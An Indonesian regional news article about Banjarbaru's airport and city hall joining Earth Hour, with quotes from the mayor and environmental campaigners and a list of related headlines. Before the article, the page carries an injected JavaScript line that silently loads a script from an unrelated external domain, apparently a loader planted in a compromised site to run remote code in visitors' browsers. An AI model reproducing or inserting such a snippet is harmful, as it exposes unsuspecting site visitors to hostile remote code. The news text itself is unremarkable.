(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Partisipasi Earth hour, Bandara Syamsudin Noor juga mematikan lampu selama satu jam, Sabtu (24/3) dari pukul 20.30-21.30 Wita. Selain di Bandara Syamsudin Noor Balaikota Banjarbaru juga akan ikut partisipasi.
Earth hour , angkasa pura juga akan menjadi bagian perubahan dengan mematikan lampu selama satu jam. Communication and Legal section head Bandara Syamsudin noor Adit Putra mengatakan pemadaman lampu sebagai bentuk partisipasi ini tidak ada ganggu operasional penerbangan.
“Di bandaranya, tapi pada spot tertentu yang tidak mengganggu operasional. Contohnya reklame. Untuk terminal kedatangan atau keberangkatan belum ditentukan, tapi kita jamin nggak mengganggu operasional,” katanya.
 Kampanye lingkungan earth hour dengan cara mematikan listrik selama 1 jam pada tanggal 24 Maret, digaungkan juga oleh Kaukus LHK Kalsel bekerjasama dengan DPD KNPI Banjarbaru. Mereka mengimbau masyarakat, instansi pemerintah dan swasta, untuk bisa mematikan listrik 1 jam pada pukul 20.30-21.30 Wita. Harapan kampanye ini, adalah untuk mengurangi efek pemanasan global.
Terkait hal tersebut, Walikota Banjarbaru H Nadjmi Adhani menyatakan mendukung kampanye untuk tujuan lingkungan ini. “Kami tidak hanya mendukung secara moral aksi ini tapi juga sangat bersedia Balai Kota dimatikan saat earth hour,†ujar Nadjmi Adhani.
Tak hanya aksi mematikan listrik saja, DPD KNPI Banjarbaru dalam rangka tersebut juga akan mengisi pentas kesenian bertema lingkungan. Ketua Kaukus Lingkungan Hidup dan Kehutanan Legislatif Kalsel, Zulfa Fikra Asma menyampaikan, disadari atau tidak, gaya hidup manusia yang boros energi merupakan penyumbang terbesar dari pemanasan global yang berdampak pada kerusakan alam, manusia saat ini memang tidak bisa lepas dari listrik. Padahal listrik yang dinikmati notabene paling banyak berasal dari pembangkit listrik berbahan bakar fosil yang mengeluarkan CO2 (karbondioksida) atau gas rumah kaca yang mengakibatkan kenaikan dramatis temperature rata-rata bumi. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.